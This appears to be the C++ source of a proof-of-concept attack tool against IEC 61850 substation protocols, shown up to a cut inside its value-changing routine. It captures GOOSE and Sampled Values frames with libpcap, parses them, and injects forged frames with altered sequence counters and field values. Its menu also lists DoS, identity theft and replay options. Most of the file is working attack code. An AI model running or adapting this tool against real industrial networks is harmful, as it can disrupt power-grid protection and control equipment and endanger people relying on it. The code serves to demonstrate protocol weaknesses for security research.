/* 
 * File:   main.cpp
 * Author: Jan Hudec
 *
 * Created on 19. května 2019, 13:40
 */

// generic libraries
#include <cstdlib>
#include <iostream>
#include <map>
#include <vector>
#include <string>
#include <cstring>
#include <sstream>
#include <iomanip>

// for unbuffered input read
#include <sys/ioctl.h>
#include <termios.h>
#include <stdbool.h>
#include <unistd.h>
#include <stdio.h>

// custom libraries
//#include "scada_tester.h"
#include <pcap.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h> /* includes net/ethernet.h */

// console helpers
int kbhit();
void clear();

// libpcap
int set_filter(const char* filter);
int get_single_packet(const char* filter_exp, bool quiet_mode = false);
int get_x_packets(int count, const char* filter_exp);
void flush_buffer();
void packet_handler(u_char *args, const struct pcap_pkthdr* header, const u_char* packet);

// attacks
void dissect_goose(u_char* packet);
void dissect_sv(u_char* packet);
void print_dissected_goose();
void print_dissected_sv();
void payload_to_ss(const u_char* payload, int length);
int64_t get_int_from_payload(const u_char* payload, int length);
float get_float_from_payload(const u_char* payload, int length);
long int get_timestamp_from_payload(const u_char* payload, int length);
std::string get_string_from_payload(const u_char* payload, int length);
std::string get_hex_from_payload(const u_char* payload, int length);
void set_int_to_payload(int number, u_char* pointer, int length);
void set_float_to_payload(float number, u_char* pointer, int length);
void set_string_to_payload(std::string value, u_char* pointer, int length);

void att_alter_sequence_counters(bool goose);
void att_change_values(bool goose);
void att_identity_theft(bool goose);
void att_dos();

void print_hex_ascii_line(const u_char *payload, int len);

// global variables
std::stringstream ss;
const u_char* packet;
u_char* packet_temp;
int packet_length;

struct frame_field {
    u_char* pointer;
    int length;
};
std::map<std::string, frame_field> st; // frame structure

struct all_data_types {
    int64_t int64 = 0;
    float floatn = 0;
    long int timestamp = 0;
    std::vector<frame_field> offset;
};
std::vector<all_data_types> st_ad; // storage for frame allData part
std::vector<std::map<std::string, frame_field>> svasdu; // vector for SV ASDU parts

char input;
int result;
int control;
bool running = false;

// pcap variables
char *device = "eth0";
pcap_t *handle;
char error_buffer[PCAP_ERRBUF_SIZE];
struct pcap_pkthdr packet_header;
struct bpf_program filter;
struct pcap_stat stats;
int capture_timeout = 2000;
bpf_u_int32 subnet_mask, ip;



int main(int argc, char** argv)
{
    /* PCAP SETUP START */
    if(argc == 2)
    {
        device = argv[1];
    }
    else if(argc == 3)
    {
        device = argv[1];
        capture_timeout = std::stoi(argv[2]);
    }
    
    pcap_if_t *alldevs;
    pcap_if_t *d;
    char errbuf[PCAP_ERRBUF_SIZE];
    
    // check if selected device exists
    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
        running = false;
    }
    
    for(d= alldevs; d != NULL; d= d->next)
    {
        if(strcmp(d->name, device) == 0)
        {
            running = true;
        }

    }
    
    pcap_freealldevs(alldevs);
    
    handle = pcap_create(device, error_buffer);
    if (handle == NULL)
    {
        printf("Could not open device \"%s\": %s\n", device, error_buffer);
        return 2;
    }
    pcap_set_snaplen(handle, BUFSIZ);
    pcap_set_promisc(handle, 1);
    pcap_set_timeout(handle, capture_timeout);
    pcap_set_immediate_mode(handle, 1);
    
    result = pcap_activate(handle);
    if(result > 0)
    {
        printf("Warning when activating device \"%s\": %s\n", device, pcap_geterr(handle));
    }
    else if(result < 0)
    {
        printf("Error when activating device \"%s\": %s\n", device, pcap_geterr(handle));
    }
    else
    {
        clear();
    }
    /* PCAP SETUP END */
    
    while(running == true)
    if(kbhit())
    {
        input = getchar();
        
        switch(input)
        {
            case 'a': // alter seqeunce counters in GOOSE or SV frames
                printf("\n\n[G]OOSE or [S]V?\n> ");
                input = ' ';
                do
                {
                    input = getchar();
                }
                while(input != 'g' && input != 's');

                printf("\n\nFlushing buffer...\n");
                flush_buffer();

                if(input == 'g') // GOOSE
                {
                    if(get_single_packet("ether proto 0x88b8") == 0)
                    {
                        att_alter_sequence_counters(true);
                    }
                }
                else if(input == 's')// SV
                {
                    if(get_single_packet("ether proto 0x88ba") == 0)
                    {
                        att_alter_sequence_counters(false);
                    }
                }

                printf("\nPress any key to go back to menu.\n");
                std::cin.ignore();
                clear();

                break;
            case 'b': // buffer overflow on subscriber
                for(int i = 0; i < 5; i++)
                {
                    std::cout << pcap_inject(handle, packet_temp, packet_length) << std::endl;
                }
                break;
            case 'c': // change values in a single GOOSE or SV frame
                printf("\n\n[G]OOSE or [S]V?\n> ");
                input = ' ';
                do
                {
                    input = getchar();
                }
                while(input != 'g' && input != 's');

                printf("\n\nFlushing buffer...\n");
                flush_buffer();

                if(input == 'g') // GOOSE
                {
                    if(get_single_packet("ether proto 0x88b8") == 0)
                    {
                        att_change_values(true);
                    }
                }
                else if(input == 's') // SV
                {
                    if(get_single_packet("ether proto 0x88ba") == 0)
                    {
                        att_change_values(false);
                    }
                }

                printf("\nPress any key to go back to menu.\n");
                std::cin.ignore();
                clear();
                break;
            case 'd': // DOS on local network using GOOSE or SV frames
                att_dos();
                
                printf("\nPress any key to go back to menu.\n");
                std::cin.ignore();
                clear();

                break;
            case 'i': // identity theft
                /*printf("\n\n[G]OOSE or [S]V?\n> ");
                input = ' ';
                do
                {
                    input = getchar();
                }
                while(input != 'g' && input != 's');

                printf("\n\nFlushing buffer...\n");
                flush_buffer();

                if(input == 'g') // GOOSE
                {
                    if(get_single_packet("ether proto 0x88b8") == 0)
                    {
                        att_identity_theft(true);
                    }
                }
                else if(input == 's') // SV
                {
                    if(get_single_packet("ether proto 0x88ba") == 0)
                    {
                        att_identity_theft(false);
                    }
                }*/
                att_identity_theft(true);

                printf("\nPress any key to go back to menu.\n");
                std::cin.ignore();
                clear();
                break;
            case 'm': // MMS Control packet replay
                pcap_stats(handle, &stats);
                printf("%u\n", stats.ps_recv);
                break;
            case 'q':
                running = false;
                break;
            default:
                fflush(stdout);
                break;
        }
    }
    
    printf("\n\nExiting script.\n\n");
    
    pcap_freecode(&filter);
    pcap_close(handle);
    delete packet_temp;
    
    return 0;
}

/*  CONSOLE HELPERS START  */
int kbhit()
{
    static bool initflag = false;
    static const int STDIN = 0;

    if (!initflag)
    {
        // use termios to turn off line buffering
        struct termios term;
        tcgetattr(STDIN, &term);
        term.c_lflag &= ~ICANON;
        //term.c_lflag &= ECHO;
        tcsetattr(STDIN, TCSANOW, &term);
        setbuf(stdin, NULL);
        initflag = true;
    }

    int nbbytes;
    ioctl(STDIN, FIONREAD, &nbbytes);  // 0 is STDIN
    return nbbytes;
}

void clear()
{
    system("clear");
    
    printf("IEC61850 SCADA System Tester, using %s\n", pcap_lib_version());
    printf("Running. Press Q to quit.\n\n"
           "This script is a proof-of-concept and shows selected security weaknesses "
           "of IEC 61850 standard. Choose one of the options below.\n\n");
    printf("[A]lter sequence counters in GOOSE or SV frames\n"
           "[B]uffer overflow on subscriber\n"
           "[C]hange values in a single GOOSE or SV frame\n"
           "[D]OS on local network using GOOSE or SV frames\n"
           "[I]dentity theft\n"
           "[M]MS Control packet replay\n"
           "> ");
           
    
    std::cout.flush();
}
/*  CONSOLE HELPERS END  */


int set_filter(const char* filter_exp)
{
    // compile filter
    if (pcap_compile(handle, &filter, filter_exp, 0, ip) == -1)
    {
        printf("Bad filter - %s\n", pcap_geterr(handle));
        return 2;
    }
    
    // set filter
    if (pcap_setfilter(handle, &filter) == -1)
    {
        printf("Error setting filter - %s\n", pcap_geterr(handle));
        return 2;
    }
    
    return 0;
}

int get_single_packet(const char* filter_exp, bool quiet_mode)
{    
    set_filter(filter_exp);
    
    if(quiet_mode == false)
    {
        printf("Capturing packet using filter \"%s\"...\n", filter_exp);
    }
    
    packet = pcap_next(handle, &packet_header);
    if(packet == NULL)
    {
        printf("No packet captured within %i ms timeout!\n", capture_timeout);
        return 2;
    }

    delete packet_temp;
    packet_temp = new u_char[packet_header.len];
    memcpy(packet_temp, packet, packet_header.len);
    packet_length = packet_header.len;

    return 0;
}
int get_x_packets(int count, const char* filter_exp)
{
    for(int i = 0; i < count; i++)
    {
        packet = pcap_next(handle, &packet_header);
        if (packet == NULL)
        {
            printf("No packet found.\n");
            return 2;
        }
        packet_handler(NULL, &packet_header, packet);
    }
    
    return 0;
}

void flush_buffer()
{
    pcap_setnonblock(handle, 1, error_buffer);
    while(pcap_dispatch(handle, 1, packet_handler, NULL) != 0);
    pcap_setnonblock(handle, 0, error_buffer);
}

void packet_handler(u_char *args, const struct pcap_pkthdr* packet_header, const u_char* packet)
{
    delete packet_temp;
    packet_temp = new u_char[packet_header->len];
    memcpy(packet_temp, packet, packet_header->len);
    packet_length = packet_header->len;
}

void dissect_goose(u_char* packet_temp)
{
    // remove existing data
    st = {  };
    st_ad = {  };
    
    // dissect frame
    int ethernet_header_length = 14;
    int vlan_tag_length = 4;
    
    // first byte of GOOSE frame payload
    u_char* payload = packet_temp + ethernet_header_length + vlan_tag_length;

    st.insert(std::pair<std::string, frame_field>("appid", { payload, 2 }));
    st.insert(std::pair<std::string, frame_field>("length", { st["appid"].pointer + st["appid"].length, 2 }));
    st.insert(std::pair<std::string, frame_field>("reserved_1", { st["length"].pointer + st["length"].length, 2 }));
    st.insert(std::pair<std::string, frame_field>("reserved_2", { st["reserved_1"].pointer + st["reserved_1"].length, 2 }));
    
    // find where the goosePdu part starts
    int length = 0;
    unsigned char x;
    x = *(st["reserved_2"].pointer + 2);
    if(x == 0x61) // apdu start
    {
        x = *(st["reserved_2"].pointer + 3);
        if(x == 0x81) // apdu length is coded in one byte
        {
            length = get_int_from_payload(st["reserved_2"].pointer + 4, 1);
            st.insert(std::pair<std::string, frame_field>("goosepdu", { st["reserved_2"].pointer + 5, length }));
        }
        else if(x == 0x82) // apdu length is coded in two bytes
        {
            length = get_int_from_payload(st["reserved_2"].pointer + 4, 2);
            st.insert(std::pair<std::string, frame_field>("goosepdu", { st["reserved_2"].pointer + 6, length }));
        }
        else
        {
            length = get_int_from_payload(st["reserved_2"].pointer + 3, 1);
            st.insert(std::pair<std::string, frame_field>("goosepdu", { st["reserved_2"].pointer + 4, length }));
            //printf("Error - captured frame does not have any data!\n");
        }
    } else {
        printf("Error - captured frame does not have goosePdu part!\n");
    }
    
    if(length > 0)
    {
        // dissect goosePdu up to allData
        unsigned char identifier = *(st["goosepdu"].pointer);
        u_char* pointer;
        int length;
        while(identifier != 0xab)
        {
            switch(identifier)
            {
                case 0x80: // gocbRef
                    pointer = st["goosepdu"].pointer + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("gocbRef", { pointer, length }));
                    break;
                case 0x81: // timeAllowedtoLive
                    pointer = st["gocbRef"].pointer + st["gocbRef"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("timeAllowedtoLive", { pointer, length }));
                    break;
                case 0x82: // datSet
                    pointer = st["timeAllowedtoLive"].pointer + st["timeAllowedtoLive"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("datSet", { pointer, length }));
                    break;
                case 0x83: // goID
                    pointer = st["datSet"].pointer + st["datSet"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("goID", { pointer, length }));
                    break;
                case 0x84: // t
                    pointer = st["goID"].pointer + st["goID"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("t", { pointer, length }));
                    break;
                case 0x85: // stNum
                    pointer = st["t"].pointer + st["t"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("stNum", { pointer, length }));
                    break;
                case 0x86: // sqNum
                    pointer = st["stNum"].pointer + st["stNum"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("sqNum", { pointer, length }));
                    break;
                case 0x87: // test
                    pointer = st["sqNum"].pointer + st["sqNum"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("test", { pointer, length }));
                    break;
                case 0x88: // confRev
                    pointer = st["test"].pointer + st["test"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("confRev", { pointer, length }));
                    break;
                case 0x89: // ndsCom
                    pointer = st["confRev"].pointer + st["confRev"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("ndsCom", { pointer, length }));
                    break;
                case 0x8a: // numDatSetEntries
                    pointer = st["ndsCom"].pointer + st["ndsCom"].length + 2;
                    length = get_int_from_payload(pointer - 1, 1);
                    st.insert(std::pair<std::string, frame_field>("numDatSetEntries", { pointer, length }));
                    break;
                default:
                    identifier = 0xab;
                    break;
            }
            identifier = *(pointer + length);

            //printf("\npointer: %02x\tlast hex:%02x\tlength: %i\tfirst byte: %x", *pointer, *(pointer+length - 1), length, identifier); // debug
        }

        // pointer to allData part of GOOSE frame and its length
        pointer = st["numDatSetEntries"].pointer + st["numDatSetEntries"].length + 2;
        length = get_int_from_payload(pointer - 1, 1);

        u_char* all_data_pointer = pointer;
        u_char* all_data_end = all_data_pointer + length;
        identifier = *(all_data_pointer);
        while(all_data_pointer < all_data_end)
        {
            all_data_types adt;
            for(int i = 0; i < 3; i++) // how many goose data parts
            {
                pointer = all_data_pointer + 2;
                length = get_int_from_payload(pointer - 1, 1);

                switch(identifier)  
                {
                    case 0x83: // bool
                        break;
                    case 0x85: // int
                        adt.offset.push_back({ pointer, length });
                        adt.int64 = get_int_from_payload(pointer, length);
                        break;
                    case 0x86: // unsigned int
                        break;
                    case 0x87: // float (from libiec61850; otherwise float is 0x86)
                        adt.offset.push_back({ pointer, length });
                        adt.floatn = get_float_from_payload(pointer, length);
                        break;
                    case 0x89: // octet string
                        break;
                    case 0x8a: // visible string
                        break;
                    case 0x91: // timestamp
                        adt.offset.push_back({ pointer, length });
                        adt.timestamp = get_timestamp_from_payload(pointer, length - 4);
                        break;
                    case 0x84: // quality
                        break;
                    default:
                        pointer = all_data_end;
                        break;
                }

                all_data_pointer = pointer + length;
                identifier = *(all_data_pointer);

                //printf("\n-pointer: %02x\tlast hex:%02x\tlength: %i\tfirst byte: %x", *pointer, *(pointer+length - 1), length, identifier); // debug
            }

            st_ad.push_back(adt);
        }

        // debug - content of GOOSE allData part
        /*printf("\n");
        for(int i = 0; i < st_ad.size(); i++)
        {
            printf("%i\t%f\t%u\n", st_ad[i].int64, st_ad[i].floatn, st_ad[i].timestamp);
        }*/
    }    
}

void dissect_sv(u_char* packet_temp)
{
    // remove existing data
    st = {  };
    st_ad = {  };
    svasdu = {  };
    
    // dissect frame
    int ethernet_header_length = 14;
    int vlan_tag_length = 4;
    int pdu_length_length = 0;
    
    // first byte of SV frame payload
    u_char* payload = packet_temp + ethernet_header_length + vlan_tag_length;

    st.insert(std::pair<std::string, frame_field>("appid", { payload, 2 }));
    st.insert(std::pair<std::string, frame_field>("length", { st["appid"].pointer + st["appid"].length, 2 }));
    st.insert(std::pair<std::string, frame_field>("reserved_1", { st["length"].pointer + st["length"].length, 2 }));
    st.insert(std::pair<std::string, frame_field>("reserved_2", { st["reserved_1"].pointer + st["reserved_1"].length, 2 }));
    
    // get length of pdu
    if(*(st["reserved_2"].pointer + 2) == 0x60)
    {
        switch(*(st["reserved_2"].pointer + 3))
        {
            case 0x81:
                pdu_length_length = 1;
                break;
            case 0x82:
                pdu_length_length = 2;
                break;
            default:
                pdu_length_length = 0;
                break;
        }
        
        st.insert(std::pair<std::string, frame_field>("savPdu", { st["reserved_2"].pointer + st["reserved_2"].length + 2 + pdu_length_length, 2 }));
    }
    
    // dissect savPdu
    u_char* pointer = st["savPdu"].pointer;
    int length;
    int noasdu;
    
    unsigned char identifier = *(pointer);
    if(identifier == 0x80)
    {
        length = get_int_from_payload(pointer + 1, 1);
        noasdu = get_int_from_payload(pointer + 2, length);
        
        st.insert(std::pair<std::string, frame_field>("noasdu", { pointer + 2, 1 }));
         
        if(noasdu > 0)
        {
            while(*(pointer) != 0x30)
            {
                pointer++;
            }

            identifier = *(pointer);
            if(identifier == 0x30)
            {
                identifier = 0;

                for(int i = 0; i < noasdu; i++)
                {
                    std::map<std::string, frame_field> asdu;
                    u_char* read_until = pointer + get_int_from_payload(pointer + 1, 1) + 2;
                    pointer += 2;
                    identifier = *(pointer);

                    while(pointer < read_until)
                    {
                        bool add = true;
                        switch(identifier)
                        {
                            case 0x80: // svID
                                pointer = pointer + 2;
                                length = get_int_from_payload(pointer - 1, 1);
                                asdu.insert(std::pair<std::string, frame_field>("svID", { pointer, length }));
                                break;
                            case 0x82: // smpCnt
                                pointer = asdu["svID"].pointer + asdu["svID"].length + 2;
                                length = get_int_from_payload(pointer - 1, 1);
                                asdu.insert(std::pair<std::string, frame_field>("smpCnt", { pointer, length }));
                                break;
                            case 0x83: // confRev
                                pointer = asdu["smpCnt"].pointer + asdu["smpCnt"].length + 2;
                                length = get_int_from_payload(pointer - 1, 1);
                                asdu.insert(std::pair<std::string, frame_field>("confRef", { pointer, length }));
                                break;
                            case 0x85: // smpSynch
                                pointer = asdu["confRef"].pointer + asdu["confRef"].length + 2;
                                length = get_int_from_payload(pointer - 1, 1);
                                asdu.insert(std::pair<std::string, frame_field>("smpSynch", { pointer, length }));
                                break;
                            case 0x87: // seqData
                                pointer = asdu["smpSynch"].pointer + asdu["smpSynch"].length + 2;
                                length = get_int_from_payload(pointer - 1, 1);
                                asdu.insert(std::pair<std::string, frame_field>("seqData", { pointer, length }));
                                break;
                            default:
                                add = false;
                                break;
                        }

                        //printf("first byte: %02x\tlast byte:%02x\tlength: %i\n", *pointer, *(pointer+length - 1), length); // debug

                        if(add == true)
                        {
                            pointer += length;
                        }
                        identifier = *(pointer);
                    }
                    svasdu.push_back(asdu);
                }
                
                /*for(int i = 0; i < svasdu.size(); i++) // debug
                {
                    printf("%i\n", svasdu.size());
                    printf("%s\n", get_string_from_payload(svasdu[i]["svID"].pointer, svasdu[i]["svID"].length).c_str());
                    printf("%i\n", get_int_from_payload(svasdu[i]["smpCnt"].pointer, svasdu[i]["smpCnt"].length));
                    printf("%i\n", get_int_from_payload(svasdu[i]["confRef"].pointer, svasdu[i]["confRef"].length));
                    print_hex_ascii_line(svasdu[i]["seqData"].pointer, svasdu[i]["seqData"].length);
                }*/
            }
        }
    }
    else
    {
        printf("Error - could not get number of ASDU!\n");
    }
}

void print_dissected_goose()
{   
    printf("\nCaptured GOOSE frame:\n"
           "  APPID:\t0x%04x\n"
           "  Length:\t%i\n"
           "  Reserved 1:\t0x%04x\n"
           "  Reserved 2:\t0x%04x\n"
           "  goosePdu\n"
           "    gocbRef:\t  %s\n"
           "    TimeToLive:\t  %i\n"
           "    datSet:\t  %s\n"
           "    goID:\t  %s\n"
           "    stNum:\t  %i\n"
           "    sqNum:\t  %i\n"
           "    test:\t  %s\n"
           "    confRev:\t  %i\n"
           "    ndsCom:\t  %s\n"
           "    numEntries:\t  %i\n"
           "    allData\n",
            get_int_from_payload(st["appid"].pointer, st["appid"].length),
            get_int_from_payload(st["length"].pointer, st["length"].length),
            get_int_from_payload(st["reserved_1"].pointer, st["reserved_1"].length),
            get_int_from_payload(st["reserved_2"].pointer, st["reserved_2"].length),
            get_string_from_payload(st["gocbRef"].pointer, st["gocbRef"].length).c_str(),
            get_int_from_payload(st["timeAllowedtoLive"].pointer, st["timeAllowedtoLive"].length),
            get_string_from_payload(st["datSet"].pointer, st["datSet"].length).c_str(),
            get_string_from_payload(st["goID"].pointer, st["goID"].length).c_str(),
            get_int_from_payload(st["stNum"].pointer, st["stNum"].length),
            get_int_from_payload(st["sqNum"].pointer, st["sqNum"].length),
            (get_int_from_payload(st["test"].pointer, st["test"].length)) ? "true" : "false",
            get_int_from_payload(st["confRev"].pointer, st["confRev"].length),
            (get_int_from_payload(st["ndsCom"].pointer, st["ndsCom"].length)) ? "true" : "false",
            get_int_from_payload(st["numDatSetEntries"].pointer, st["numDatSetEntries"].length));
    
    for(int i = 0; i < st_ad.size(); i++)
    {
        time_t time_seconds = st_ad[i].timestamp;
        struct tm* time_info = localtime(&time_seconds);
        char time_string[20];
        strftime(time_string, 20, "%d/%m/%Y %H:%M:%S", time_info);
        
        printf("      integer:\t    %i\n"
               "      float:\t    %f\n"
               "      timestamp:    %s (%u)\n",
                st_ad[i].int64,
                st_ad[i].floatn,
                time_string,
                st_ad[i].timestamp);
    }
}

void print_dissected_sv()
{    
    printf("\nCaptured SV frame:\n"
           "  APPID:\t0x%04x\n"
           "  Length:\t%i\n"
           "  Reserved 1:\t0x%04x\n"
           "  Reserved 2:\t0x%04x\n"
           "  savPdu\n",
            get_int_from_payload(st["appid"].pointer, st["appid"].length),
            get_int_from_payload(st["length"].pointer, st["length"].length),
            get_int_from_payload(st["reserved_1"].pointer, st["reserved_1"].length),
            get_int_from_payload(st["reserved_2"].pointer, st["reserved_2"].length));
    
    for(int i = 0; i < svasdu.size(); i++)
    {
        printf("    ASDU %i\n"
               "      svID:\t%s\n"
               "      smpCnt:\t%i\n"
               "      confRef:\t%i\n"
               "      smpSynch:\t%i\n"
               "      seqData:\t%s\n",
                i + 1,
                get_string_from_payload(svasdu[i]["svID"].pointer, svasdu[i]["svID"].length).c_str(),
                get_int_from_payload(svasdu[i]["smpCnt"].pointer, svasdu[i]["smpCnt"].length),
                get_int_from_payload(svasdu[i]["confRef"].pointer, svasdu[i]["confRef"].length),
                get_int_from_payload(svasdu[i]["smpSynch"].pointer, svasdu[i]["smpSynch"].length),
                get_hex_from_payload(svasdu[i]["seqData"].pointer, svasdu[i]["seqData"].length).c_str());
    }
}

void payload_to_ss(const u_char* payload, int length)
{
    // empty stringstream and reset error flag
    ss.str( std::string() );
    ss.clear();
    
    char buffer[2] = { 0 };
    const u_char* temp = payload;
    
    for(int i = 0; i < length; i++)
    {
        sprintf(buffer, "%02x", *(payload + i));
        ss << buffer;
    }
}

int64_t get_int_from_payload(const u_char* payload, int length)
{
    int64_t output;
    payload_to_ss(payload, length);
    ss >> std::hex >> output;
    
    return output;
}

float get_float_from_payload(const u_char* payload, int length)
{
    uint32_t temp;
    float output;
    payload_to_ss(payload, length);

    sscanf(ss.str().c_str(), "%x", &temp);
    output = *((float*)&temp);

    return output;
}

long int get_timestamp_from_payload(const u_char* payload, int length)
{
    long int output = 0;
    payload_to_ss(payload, length);
    //output = std::stoll(ss.str(), NULL, 16);
    output = std::strtol(ss.str().c_str(), NULL, 16);
    
    return output;    
}

std::string get_string_from_payload(const u_char* payload, int length)
{
    // empty stringstream and reset error flag
    ss.str( std::string() );
    ss.clear();

    char buffer[1];
    std::string output;
    const u_char* temp = payload;
    
    for(int i = 0; i < length; i++)
    {
        if(isprint(*(temp + i)))
        {
            sprintf(buffer, "%c", *(temp + i));
        }
        else
        {
            buffer[0] = '.';
        }
        ss << buffer;
    }
    
    ss >> output;
    
    return output;
}

std::string get_hex_from_payload(const u_char* payload, int length)
{
    // empty stringstream and reset error flag
    ss.str( std::string() );
    ss.clear();

    char buffer[1];
    std::string output;
    const u_char* temp = payload;
    
    for(int i = 0; i < length; i++)
    {
        sprintf(buffer, "%02x", *(temp));
        temp++;
        
        ss << buffer;
    }
    
    ss >> output;
    
    return output;
}

void set_int_to_payload(int number, u_char* pointer, int length)
{
    int padding = 0;
    int size = 0;
    
    // find size of number
    if(number <= 255)
    {
        padding = length - 1;
        size = 1;
    }
    else if(number <= 65535)
    {
        padding = length - 2;
        size = 2;
    }
    else if(number <= 16777215)
    {
        padding = length - 3;
        size = 3;
    }
    else if(number <= 4294967295)
    {
        padding = length - 4;
        size = 4;
    }
    
    // fill memory if length > number size
    if(padding > 0)
    {
        memset(pointer, 0, padding);
    }
    else
    {
        padding = 0;
    }
    
    // copy number to memory, align to right
    memcpy(pointer + padding, &number, length - padding);
    
    // swap endianness
    unsigned char swap[size];
    unsigned char x;
    for(int i = 0; i < size; i++)
    {
        swap[i] = *(pointer + length - 1 - i);
    }
    for(int i = 0; i < size; i++)
    {
        *(pointer + length - size + i) = swap[i];
    }
}

void set_float_to_payload(float number, u_char* pointer, int length)
{
    unsigned char* f_p = reinterpret_cast<unsigned char*>(&number);
    
    for(int i = 0; i < 4; i++)
    {
        memcpy(pointer + i, f_p + 3 - i, 1);
    }
      
    //printf("%02x %02x %02x %02x\n", *(f_p + 3), *(f_p + 2), *(f_p + 1), *(f_p)); // debug
}

void set_string_to_payload(std::string value, u_char* pointer, int length)
{
    char temp[1];
    memset(pointer, 0, length);
    int limit = (value.length() > length) ? length : value.length();
    printf("%i\n", limit);
    for(int i = 0; i < limit; i++)
    {
        temp[0] = value[i];
        memcpy(pointer + i, temp, 1);
    }
}

void att_alter_sequence_counters(bool goose) // done
{
    if(goose == true)
    {
        dissect_goose(packet_temp);

        int appid = get_int_from_payload(st["appid"].pointer, st["appid"].length);
        int stnum = get_int_from_payload(st["stNum"].pointer, st["stNum"].length);
        int sqnum = get_int_from_payload(st["sqNum"].pointer, st["sqNum"].length);

        printf("\nCaptured GOOSE frame\n"
               "  APPID: 0x%04x\n  stNum: %i\n  sqNum: %i\n",
               appid, stnum, sqnum);

        printf("\nIncrement sqNum by 1 and send:\n  sqNum: ");
        for(int i = 0; i < 5; i++)
        {
            set_int_to_payload(++sqnum, st["sqNum"].pointer, st["sqNum"].length);
            pcap_inject(handle, packet_temp, packet_length);
            printf("%i ", sqnum);
        }

        printf("\nIncrement sqNum by 10 and send:\n  sqNum: ");
        for(int i = 0; i < 5; i++)
        {
            sqnum += 10;
            set_int_to_payload(sqnum, st["sqNum"].pointer, st["sqNum"].length);
            pcap_inject(handle, packet_temp, packet_length);
            printf("%i ", sqnum);
        }

        printf("\nIncrement stNum by 1, set sqNum to 0 and send:\n  sqNum: 0\n  stNum: ");
        set_int_to_payload(0, st["sqNum"].pointer, st["sqNum"].length);
        for(int i = 0; i < 5; i++)
        {
            set_int_to_payload(++stnum, st["stNum"].pointer, st["stNum"].length);
            pcap_inject(handle, packet_temp, packet_length);
            printf("%i ", stnum);
        }

        printf("\nIncrement stNum by 10 and send:\n  stNum: ");
        for(int i = 0; i < 5; i++)
        {
            stnum += 10;
            set_int_to_payload(stnum, st["stNum"].pointer, st["stNum"].length);
            pcap_inject(handle, packet_temp, packet_length);
            printf("%i ", stnum);
        }
    }
    else
    {
        dissect_sv(packet_temp);

        int noasdu = svasdu.size();
        int appid = get_int_from_payload(st["appid"].pointer, st["appid"].length);
        int smpcnt = -1;

        printf("\nCaptured SV frame\n"
           "  APPID:  0x%04x\n  smpCnt: %i\n  noASDU: %i\n",
           appid, smpcnt, noasdu);
        
        if(noasdu > 0)
        {
            smpcnt = get_int_from_payload(svasdu[0]["smpCnt"].pointer, svasdu[0]["smpCnt"].length);
        
            printf("\nChange number of ASDU units to 0:\n  noASDU: 0\n  smpCnt: ");
            for(int i = 0; i < 5; i++)
            {
                smpcnt += 1;
                for(int j = 0; j < svasdu.size(); j++)
                {
                    set_int_to_payload(smpcnt, svasdu[j]["smpCnt"].pointer, svasdu[j]["smpCnt"].length);
                    set_int_to_payload(0, st["noasdu"].pointer, st["noasdu"].length);                
                }
                printf("%i ", smpcnt);
                pcap_inject(handle, packet_temp, packet_length);
            }

            printf("\nIncrement smpCnt by 1 and send:\n  smpCnt: ");
            for(int i = 0; i < 5; i++)
            {
                smpcnt += 1;
                for(int j = 0; j < svasdu.size(); j++)
                {
                    set_int_to_payload(smpcnt, svasdu[j]["smpCnt"].pointer, svasdu[j]["smpCnt"].length);              
                }
                printf("%i ", smpcnt);
                pcap_inject(handle, packet_temp, packet_length);
            }

            printf("\nIncrement smpCnt by 10 and send:\n  smpCnt: ");
            for(int i = 0; i < 5; i++)
            {
                smpcnt += 10;
                for(int j = 0; j < svasdu.size(); j++)
                {
                    set_int_to_payload(smpcnt, svasdu[j]["smpCnt"].pointer, svasdu[j]["smpCnt"].length);
                }
                printf("%i ", smpcnt);
                pcap_inject(handle, packet_temp, packet_length);
            }
        }
        else
        {
            printf("\nCannot increment smpCnt, SV frame has no data!");
        }
    }
    
    printf("\n");
}

void att_change_values(bool goose)
{
    bool offset = false;
    std::string value;
    int packet_length_new = packet_length;
    
    if(goose == true)
    {
        dissect_goose(packet_temp);
        print_dissected_goose();
        
        printf("\nWhich value do you want to change?\n"
               "Values \"stNum\" and \"sqNum\" will be set automatically so that subscriber will accept the frame.\n"
               "[1] APPID\t[5] datSet\n"
               "[2] Length\t[6] goID\n"
               "[3] gocbRef\t[7] test\n"
               "[4] TTL\t\t[8] Remove data\n> ");
        
        input = ' ';
        do
        {
            input = getchar();
        }
        while(input != '1' && input != '2' && input != '3' && input != '4'
           && input != '5' && input != '6' && input != '7' && input != '8');
        
        if(input != '8')
        {
            printf("\nEnter new value:\n> ");
            std::getline(std::cin, value);
        }
        
        switch(input)
        {
            case '1': // appid
                if(value[1] == 'x')
                {
                    set_int_to_payload(stoi(value, NULL, 16), st["appid"].pointer, st["appid"].length);
                }
                else
                {
                    set_int_to_payload(stoi(value), st["appid"].pointer, st["appid"].length);
                }
                break;
            case '2': // length
                set_int_to_payload(stoi(value), st["length"].pointer, st["length"].length);
                break;
            case '3': // gocbRef
                set_string_to_payload(value, st["gocbRef"].pointer, st["gocbRef"].length);
                break;
            case '4': // TTL
                set_int_to_payload(stoi(value), st["timeAllowedtoLive"].pointer, st["timeAllowedtoLive"].length);
                break;
            case '5': // datSet
                set_string_to_payload(value, st["datSet"].pointer, st["datSet"].length);
                break;
            case '6': // goID
                set_string_to_payload(value, st["goID"].pointer, st["goID"].length);
                break;
            case '7': // test
                set_int_to_payload(stoi(value), st["test"].pointer, st["test"].length);
                break;
            case '8': // remove data
